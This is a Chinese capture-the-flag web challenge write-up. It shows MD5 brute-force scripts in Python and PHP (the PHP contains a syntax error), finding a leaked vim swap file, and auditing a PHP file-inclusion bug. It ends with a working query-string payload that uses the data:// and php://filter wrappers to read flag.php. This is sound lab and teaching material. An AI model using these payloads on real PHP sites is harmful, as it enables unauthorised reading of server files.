zoukankan      html  css  js  c++  java
  • Doc

    解题过程如下

    首先写脚本

    爆破出md5,建议采用python或者php

    #coding:utf-8
    #python3
    import hashlib
    import time
    
    t = time.time()
    l = 'qwertyuiopasdfghjklzxcvbnm'
    for i in l:
        for j in l:
            for k in l:
                for m in l:
                    for n in l:
                        for o in l:
                            f = 'y' + i + j + k + m + n + o #+ p
                            md5 =  hashlib.md5(f.encode(encoding='UTF-8')).hexdigest()
                            if md5[:4] == '9d92' and md5[-4:] == 'b24e':
                                print(f)
                                print(md5)
                                print(time.time()-t)
    
    <?php
    $l = 'qwertyuiopasdfghjklzxcvbnm';
    for ($i = 0 ; $i < 26 ; $i + = 1){
    	for ($j = 0 ; $j < 26 ; $j + = 1){
    		for ($k = 0 ; $k < 26 ; $k + = 1){
    			for ($m = 0 ; $m < 26 ; $m + = 1){
    				for ($n = 0 ; $n < 26 ; $n + = 1){
    					for ( $o = 0 ; $o < 26 ; $o + = 1){
    						$str = 'y'.$l[$i].$l[$j].$l[$k].$l[$m].$l[$n].$l[$o];
    						$md5 = md5($str);
    						if (substr($md5 , 0 , 4)==='9d92'){
    							if (substr($md5 , -4) === 'b24e'){
    								echo $md5.PHP_EOL;
    								echo $str.PHP_EOL;
    							}
    						}
    					}
    				}
    			}
    		}
    	}
    }
    echo "End~";
    ?>
    

    爆出来的结果都是9d9208a0bda5b582cc5baffd5bf6b24e,明文是ytxyyds.

    然后是扫描

    在这里插入图片描述
    用扫描器扫描一下,发现了一个flag.php

    然后看到了这个
    在这里插入图片描述

    如果你的字典足够强大,应该能扫描到Login.php.swp,考点是vim文件泄露,或者是文件备份
    好像火狐和谷歌展现出来的不太一样:
    在这里插入图片描述
    在这里插入图片描述

    代码审计

    接下来就是代码审计。简单还是很简单的,主要就是文件包含漏洞,绕过前两个检测就行,具体分析如下:

    <?php
    error_reporting(0);
    echo "Flag in flag.php";
    $text = $_GET["text"];             //接受text传参
    $file = $_GET["file"];                //接受file传参
    if(isset($text)&&!preg_match("/php://input/i",$text)&&(file_get_contents($text,'r')==="YTXyyds")){         //text中不允许出现"php://",读取text的文件的内容要为YTXyyds
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        include($file);       //在这里进行文件包含 
    }
    
    ?>
    

    想要让file_get_contents($text,'r')的内容变为YTXyyds可以采用两种PHP伪协议,一种是php://input,另一种是data://text,由于这里过滤了php://input,所以采用

    ?text=data://text/plain,YTXyyds
    

    file的话就很简单了,只是普通的文件读取,用php://filter/read=convert.base64-encode/resource=就行。总结出payload:

    ?text=data://text/plain,YTXyyds&file=php://filter/read=convert.base64-encode/resource=flag.php
    

    在这里插入图片描述
    在这里插入图片描述
    考核的时候动态flag看不到这个flag,以此纪念 /手动示爱 23333333

  • 相关阅读:
    Open live Writer
    python两则99乘法表
    更改jupyter-notebook启动时的默认目录
    在内容中插入代码,返回进行编辑时,有无法跳出代码区的情况
    关于jupyter notebook密码设置
    nginx+zuul
    spring-cloud 服务优雅下线
    java.util.ConcurrentModificationException异常排查
    使用bitset实现毫秒级查询(二)
    使用bitset实现毫秒级查询
  • 原文地址:https://www.cnblogs.com/shenjuxian/p/13798324.html
Copyright © 2011-2022 走看看